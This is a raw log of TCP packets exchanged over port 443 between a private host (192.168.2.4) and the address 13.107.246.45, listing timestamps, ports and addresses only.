Oct 8, 2024 02:46:32.912436962 CEST	443	51529	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.912525892 CEST	51529	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.912676096 CEST	51529	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.912695885 CEST	443	51529	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.936444044 CEST	443	51525	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.936515093 CEST	443	51525	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.936594009 CEST	51525	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.936950922 CEST	51525	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.936950922 CEST	51525	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.936965942 CEST	443	51525	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.936976910 CEST	443	51525	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.938911915 CEST	51530	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.938935041 CEST	443	51530	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.939001083 CEST	51530	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.939125061 CEST	51530	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.939136982 CEST	443	51530	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.946783066 CEST	443	51526	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.946857929 CEST	443	51526	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.946904898 CEST	51526	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.947007895 CEST	51526	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.947011948 CEST	443	51526	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.947021008 CEST	51526	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.947025061 CEST	443	51526	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.948847055 CEST	51531	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.948879004 CEST	443	51531	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.948951960 CEST	51531	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.949069977 CEST	51531	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.949078083 CEST	443	51531	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.489479065 CEST	443	51528	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.490263939 CEST	51528	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.490281105 CEST	443	51528	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.490694046 CEST	51528	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.490699053 CEST	443	51528	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.503726006 CEST	443	51527	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.504303932 CEST	51527	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.504369974 CEST	443	51527	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.504486084 CEST	51527	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.504503012 CEST	443	51527	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.578213930 CEST	443	51529	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.578702927 CEST	51529	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.578747988 CEST	443	51529	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.579013109 CEST	51529	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.579020023 CEST	443	51529	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.587285042 CEST	443	51528	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.588135958 CEST	443	51528	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.588190079 CEST	51528	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.588238955 CEST	51528	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.588253975 CEST	443	51528	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.588264942 CEST	51528	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.588269949 CEST	443	51528	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.590579033 CEST	51532	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.590663910 CEST	443	51532	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.590751886 CEST	51532	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.590878963 CEST	51532	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.590907097 CEST	443	51532	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.594118118 CEST	443	51531	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.594377995 CEST	51531	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.594386101 CEST	443	51531	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.594717026 CEST	51531	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.594719887 CEST	443	51531	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.596247911 CEST	443	51530	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.596528053 CEST	51530	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.596543074 CEST	443	51530	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.596848011 CEST	51530	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.596853018 CEST	443	51530	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.606813908 CEST	443	51527	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.607043028 CEST	443	51527	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.607086897 CEST	51527	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.607229948 CEST	51527	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.607229948 CEST	51527	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.607245922 CEST	443	51527	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.607254982 CEST	443	51527	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.608952045 CEST	51533	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.608987093 CEST	443	51533	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.609055996 CEST	51533	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.609164953 CEST	51533	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.609178066 CEST	443	51533	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.678062916 CEST	443	51529	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.678132057 CEST	443	51529	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.678282022 CEST	51529	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.678473949 CEST	51529	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.678494930 CEST	443	51529	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.678508997 CEST	51529	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.678519011 CEST	443	51529	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.680957079 CEST	51534	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.680982113 CEST	443	51534	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.681050062 CEST	51534	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.681183100 CEST	51534	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.681195974 CEST	443	51534	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.693715096 CEST	443	51531	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.694331884 CEST	443	51531	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.694405079 CEST	51531	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.694556952 CEST	51531	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.694556952 CEST	51531	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.694570065 CEST	443	51531	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.694576979 CEST	443	51531	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.695763111 CEST	443	51530	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.696191072 CEST	443	51530	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.696233034 CEST	51535	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.696244955 CEST	51530	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.696258068 CEST	443	51530	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.696285963 CEST	443	51530	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.696299076 CEST	443	51535	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.696329117 CEST	51530	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.696329117 CEST	51530	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.696341038 CEST	443	51530	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.696357965 CEST	51535	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.696484089 CEST	51535	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.696513891 CEST	443	51535	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.697819948 CEST	51536	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.697851896 CEST	443	51536	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:33.697909117 CEST	51536	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.698004961 CEST	51536	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:33.698015928 CEST	443	51536	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.230076075 CEST	443	51532	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.230604887 CEST	51532	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.230648994 CEST	443	51532	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.230920076 CEST	51532	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.230932951 CEST	443	51532	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.290074110 CEST	443	51533	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.290534019 CEST	51533	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.290569067 CEST	443	51533	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.290947914 CEST	51533	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.290954113 CEST	443	51533	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.329049110 CEST	443	51532	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.329402924 CEST	443	51532	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.329495907 CEST	443	51532	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.329586029 CEST	51532	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.329643011 CEST	51532	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.329684973 CEST	51532	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.329722881 CEST	443	51532	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.329747915 CEST	51532	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.329762936 CEST	443	51532	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.330780029 CEST	443	51534	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.331105947 CEST	51534	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.331131935 CEST	443	51534	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.331433058 CEST	51534	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.331444025 CEST	443	51534	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.332741022 CEST	51537	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.332798004 CEST	443	51537	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.332865000 CEST	51537	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.332961082 CEST	51537	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.332973003 CEST	443	51537	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.377043962 CEST	443	51536	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.377429008 CEST	51536	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.377444983 CEST	443	51536	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.377868891 CEST	51536	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.377872944 CEST	443	51536	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.380100012 CEST	443	51535	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.380331993 CEST	51535	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.380363941 CEST	443	51535	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.380603075 CEST	51535	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.380614042 CEST	443	51535	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.393775940 CEST	443	51533	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.393968105 CEST	443	51533	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.394036055 CEST	51533	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.394231081 CEST	51533	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.394231081 CEST	51533	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.394252062 CEST	443	51533	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.394262075 CEST	443	51533	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.396426916 CEST	51538	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.396524906 CEST	443	51538	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.396603107 CEST	51538	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.396734953 CEST	51538	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.396771908 CEST	443	51538	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.431509018 CEST	443	51534	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.431611061 CEST	443	51534	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.431720972 CEST	443	51534	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.431793928 CEST	51534	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.431823015 CEST	51534	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.431947947 CEST	51534	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.431947947 CEST	51534	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.431962013 CEST	443	51534	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.431969881 CEST	443	51534	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.433897972 CEST	51539	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.433933973 CEST	443	51539	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.434005022 CEST	51539	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.434119940 CEST	51539	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.434133053 CEST	443	51539	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.476955891 CEST	443	51536	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.477792978 CEST	443	51536	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.477974892 CEST	51536	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.477974892 CEST	51536	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.477974892 CEST	51536	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.479655027 CEST	51540	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.479741096 CEST	443	51540	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.479830027 CEST	51540	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.479957104 CEST	51540	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.479998112 CEST	443	51540	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.506223917 CEST	443	51535	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.506369114 CEST	443	51535	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.506444931 CEST	51535	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.506444931 CEST	51535	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.506508112 CEST	51535	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.506539106 CEST	443	51535	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.508228064 CEST	51541	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.508327007 CEST	443	51541	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.508503914 CEST	51541	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.508503914 CEST	51541	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.508591890 CEST	443	51541	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.783025980 CEST	51536	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.783051014 CEST	443	51536	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.993067980 CEST	443	51537	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.993793011 CEST	51537	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.993858099 CEST	443	51537	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:34.994194984 CEST	51537	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:34.994247913 CEST	443	51537	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.039132118 CEST	443	51538	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.039684057 CEST	51538	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.039743900 CEST	443	51538	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.040143013 CEST	51538	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.040194988 CEST	443	51538	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.071593046 CEST	443	51539	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.072022915 CEST	51539	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.072037935 CEST	443	51539	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.072407007 CEST	51539	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.072412968 CEST	443	51539	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.091845989 CEST	443	51537	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.091989040 CEST	443	51537	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.092215061 CEST	51537	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.092304945 CEST	51537	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.092304945 CEST	51537	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.092350960 CEST	443	51537	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.092381954 CEST	443	51537	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.094919920 CEST	51542	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.095017910 CEST	443	51542	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.095093966 CEST	51542	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.095215082 CEST	51542	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.095237970 CEST	443	51542	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.119918108 CEST	443	51540	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.121375084 CEST	51540	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.121417999 CEST	443	51540	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.121746063 CEST	51540	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.121752977 CEST	443	51540	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.141469955 CEST	443	51538	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.141490936 CEST	443	51538	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.141524076 CEST	443	51538	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.141654968 CEST	51538	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.141654968 CEST	51538	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.141748905 CEST	51538	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.141748905 CEST	51538	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.141789913 CEST	443	51538	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.141823053 CEST	443	51538	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.144206047 CEST	51543	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.144298077 CEST	443	51543	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.144392967 CEST	51543	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.144520044 CEST	51543	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.144553900 CEST	443	51543	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.169923067 CEST	443	51539	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.170073986 CEST	443	51539	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.170397043 CEST	51539	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.170397043 CEST	51539	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.170397043 CEST	51539	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.172586918 CEST	51544	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.172616959 CEST	443	51544	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.172842979 CEST	51544	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.172842979 CEST	51544	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.172888041 CEST	443	51544	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.177046061 CEST	443	51541	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.177356958 CEST	51541	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.177416086 CEST	443	51541	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.177712917 CEST	51541	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.177726984 CEST	443	51541	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.219057083 CEST	443	51540	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.219201088 CEST	443	51540	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.219635963 CEST	51540	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.219635963 CEST	51540	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.219718933 CEST	51540	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.219759941 CEST	443	51540	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.221755028 CEST	51545	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.221796036 CEST	443	51545	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.221856117 CEST	51545	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.221940041 CEST	51545	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.221950054 CEST	443	51545	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.278817892 CEST	443	51541	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.278873920 CEST	443	51541	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.278981924 CEST	51541	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.279048920 CEST	443	51541	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.279087067 CEST	443	51541	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.279263020 CEST	51541	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.279511929 CEST	51541	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.279511929 CEST	51541	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.279546022 CEST	443	51541	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.279570103 CEST	443	51541	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.281797886 CEST	51546	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.281831026 CEST	443	51546	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.282047033 CEST	51546	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.282047033 CEST	51546	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.282082081 CEST	443	51546	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.392513990 CEST	51539	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.392546892 CEST	443	51539	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.748878002 CEST	443	51542	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.749344110 CEST	51542	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.749418974 CEST	443	51542	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.749821901 CEST	51542	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.749839067 CEST	443	51542	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.778491020 CEST	443	51543	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.778960943 CEST	51543	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.778990984 CEST	443	51543	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:35.779454947 CEST	51543	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:35.779462099 CEST	443	51543	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.020690918 CEST	443	51543	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.020710945 CEST	443	51543	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.020750999 CEST	443	51543	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.020817041 CEST	51543	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.020850897 CEST	51543	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.020903111 CEST	443	51542	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.021011114 CEST	51543	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.021034002 CEST	443	51542	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.021035910 CEST	443	51543	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.021049023 CEST	51543	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.021055937 CEST	443	51543	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.021101952 CEST	51542	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.021172047 CEST	51542	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.021172047 CEST	51542	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.021212101 CEST	443	51542	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.021239042 CEST	443	51542	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.023802996 CEST	51547	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.023842096 CEST	443	51547	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.023845911 CEST	51548	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.023912907 CEST	51547	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.023931026 CEST	443	51548	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.023988962 CEST	51548	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.024032116 CEST	51547	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.024043083 CEST	443	51547	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.024117947 CEST	51548	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.024149895 CEST	443	51548	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.031872988 CEST	443	51544	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.031908989 CEST	443	51546	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.032180071 CEST	51544	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.032196045 CEST	443	51544	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:36.032275915 CEST	51546	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:36.032313108 CEST	443	51546	13.107.246.45	192.168.2.4
